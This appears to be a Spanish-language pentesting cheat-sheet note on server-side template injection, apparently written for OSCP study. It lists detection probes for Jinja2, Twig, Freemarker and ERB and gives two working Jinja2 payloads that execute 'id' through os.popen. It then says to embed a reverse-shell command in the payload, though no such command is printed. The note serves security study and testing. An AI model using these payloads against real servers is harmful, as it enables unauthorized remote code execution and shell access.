# SSTI (Server-Side Template Injection)

> Tu input entra en una plantilla del servidor (Jinja2, Twig, Freemarker...) y se **evalúa** → RCE. Vector de Hacking web.

## Detección
```
{{7*7}}        → si responde 49 → vulnerable (Jinja2/Twig)
${7*7}         → Freemarker / otros
<%= 7*7 %>     → ERB (Ruby)
#{7*7}         → Ruby/otros
```
Si `{{7*7}}` devuelve `49` (no el literal), hay SSTI.

## Identificar el motor
Usa el árbol de polyglots de PayloadsAllTheThings (Recursos públicos) o **tplmap** para automatizar.

## Jinja2 (Python) → RCE
```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
```

## De RCE a shell
Inyecta el comando de Reverse shell dentro del payload → listener en Kali.

Relacionado: Command injection · XSS · OSCP MOC
